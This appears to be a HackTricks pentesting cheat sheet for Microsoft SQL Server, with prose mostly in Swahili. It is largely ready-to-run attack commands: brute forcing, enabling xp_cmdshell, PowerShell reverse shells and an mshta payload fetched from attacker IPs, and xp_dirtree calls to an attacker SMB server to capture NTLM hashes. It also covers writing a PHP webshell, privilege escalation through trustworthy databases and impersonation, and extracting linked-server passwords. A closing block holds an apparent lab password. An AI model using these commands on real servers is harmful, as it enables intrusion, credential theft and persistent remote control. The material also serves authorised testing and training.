# 1433 - Pentesting MSSQL - Microsoft SQL Server

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## Basic Information

From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):

> **Microsoft SQL Server** ni mfumo wa usimamizi wa **relational database** ulioendelezwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyohitajika na programu nyingine za programu—ambazo zinaweza kukimbia kwenye kompyuta hiyo hiyo au kwenye kompyuta nyingine kupitia mtandao (ikiwemo Intaneti).

**Default port:** 1433
```
1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Default MS-SQL System Tables**

- **master Database**: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server.
- **msdb Database**: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi.
- **model Database**: Inafanya kazi kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
- **Resource Database**: Hii ni database isiyo na uwezo wa kuandikwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika database ya Resource, vinawasilishwa kimaadili katika schema ya sys ya kila database.
- **tempdb Database**: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati.

## Enumeration

### Automatic Enumeration

Ikiwa hujui chochote kuhusu huduma:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> Ikiwa **huna** **vithibitisho** unaweza kujaribu kuvihisi. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.

#### Metasploit (inahitaji vithibitisho)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)

### Uhesabu wa Mikono

#### Ingia

[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```

```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### Uainishaji wa Kawaida
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]
```
#### Pata Mtumiaji

{{#ref}}
types-of-mssql-users.md
{{#endref}}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### Pata Ruhusa

1. **Securable:** Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimeainishwa katika:
- **Server** – Mifano ni pamoja na hifadhidata, logins, endpoints, vikundi vya upatikanaji, na majukumu ya server.
- **Database** – Mifano inajumuisha jukumu la hifadhidata, majukumu ya programu, muundo, vyeti, katalogi za maandiko kamili, na watumiaji.
- **Schema** – Inajumuisha meza, maoni, taratibu, kazi, maneno ya kifupi, nk.
2. **Permission:** Inahusishwa na securables za SQL Server, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili:
- **Server Level** kwa kutumia logins
- **Database Level** kwa kutumia watumiaji
3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa hifadhidata. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yaliyo na haki za ufikiaji.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks

### Execute OS Commands

> [!CAUTION]
> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye utaratibu wa kuhifadhi `xp_cmdshell`**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa:
>
> ```sql
> Use master
> EXEC sp_helprotect 'xp_cmdshell'
> ```
```bash
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### Pata nywila zilizohashwa
```bash
SELECT * FROM master.sys.syslogins;
```
### Kununua NetNTLM hash / Shambulio la Relay

Unapaswa kuanzisha **SMB server** ili kukamata hash inayotumika katika uthibitishaji (`impacket-smbserver` au `responder` kwa mfano).
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> Unaweza kuangalia ni nani (bila ya sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia:
>
> ```sql
> Use master;
> EXEC sp_helprotect 'xp_dirtree';
> EXEC sp_helprotect 'xp_subdirs';
> EXEC sp_helprotect 'xp_fileexist';
> ```

Kwa kutumia zana kama **responder** au **Inveigh** inawezekana **kuchukua NetNTLM hash**.\
Unaweza kuona jinsi ya kutumia zana hizi katika:

{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}

### Kutumia Viungo vya Kuaminika vya MSSQL

[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **ili kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:**

{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}

### **Andika Faili**

Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuiwezesha** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **Soma faili na** OPENROWSET

Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili yoyote katika mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
Hata hivyo, chaguo la **`BULK`** linahitaji ruhusa ya **`ADMINISTER BULK OPERATIONS`** au **`ADMINISTER DATABASE BULK OPERATIONS`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### Njia ya msingi ya makosa kwa SQLi:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Kusoma faili kutekeleza scripts (Python na R)**

MSSQL inaweza kukuruhusu kutekeleza **scripts katika Python na/au R**. Hizi code zitatekelezwa na **mtumiaji tofauti** na yule anayetumia **xp_cmdshell** kutekeleza amri.

Mfano wa kujaribu kutekeleza **'R'** _"Hellow World!"_ **haifanyi kazi**:

![](<../../images/image (393).png>)

Mfano wa kutumia python iliyowekwa kufanya vitendo kadhaa:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### Soma Usajili

Microsoft SQL Server inatoa **taratibu za kuhifadhi zilizopanuliwa nyingi** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**

| **Kawaida**                 | **Inayojulikana kwa Kifaa**                   |
| --------------------------- | ------------------------------------ |
| sys.xp_regread              | sys.xp_instance_regread              |
| sys.xp_regenumvalues        | sys.xp_instance_regenumvalues        |
| sys.xp_regenumkeys          | sys.xp_instance_regenumkeys          |
| sys.xp_regwrite             | sys.xp_instance_regwrite             |
| sys.xp_regdeletevalue       | sys.xp_instance_regdeletevalue       |
| sys.xp_regdeletekey         | sys.xp_instance_regdeletekey         |
| sys.xp_regaddmultistring    | sys.xp_instance_regaddmultistring    |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
Kwa **mfano zaidi** angalia [**chanzo asilia**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).

### RCE na MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Administrator**.

[**Fuata kiungo hiki**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) kuona mfano.

### RCE na `autoadmin_task_agents`

Kulingana[ **na chapisho hili**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
Na:
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}
```
### Njia Nyingine za RCE

Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).

## Kuinua Haki za MSSQL

### Kutoka db_owner hadi sysadmin

Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi vibaya ili **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Unaweza kutumia moduli ya **metasploit**:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
Au **PS** script:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### Ujumuishaji wa watumiaji wengine

SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kimalizike.
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
```
> [!NOTE]
> Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia i**f the user has access** kwa **databases** nyingine au seva zilizounganishwa.

Kumbuka kwamba mara tu unapo kuwa sysadmin unaweza kujifanya kuwa mtu mwingine yeyote:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
Unaweza kufanya shambulio hili kwa kutumia moduli ya **metasploit**:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
au kwa kutumia **PS** script:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## Kutumia MSSQL kwa Uendelevu

[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)

## Kutolewa kwa nywila kutoka kwa SQL Server Linked Servers

Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa ajili ya Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)

Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server.

Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni yafuatayo:

1. Wezesha TCP/IP kwenye SQL Server instances;
2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
3. Wezesha muunganisho wa usimamizi wa mbali.

Ili kujiandaa kwa usanidi huu, [hii hazina ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.

Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Nywila za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

[Tatizo la Muunganisho wa Usimamizi wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

## Kuinua Haki za Mitaa

Mtumiaji anayekimbia MSSQL server atakuwa amewezesha tokeni ya haki **SeImpersonatePrivilege.**\
Huenda ukawa na uwezo wa **kuinua hadi Administrator** ukifuatia moja ya hizi kurasa 2:

{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}

{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
{{#endref}}

## Shodan

- `port:1433 !HTTP`

## Marejeleo

- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)

## HackTricks Amri za Otomatiki
```
Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

```
{{#include ../../banners/hacktricks-training.md}}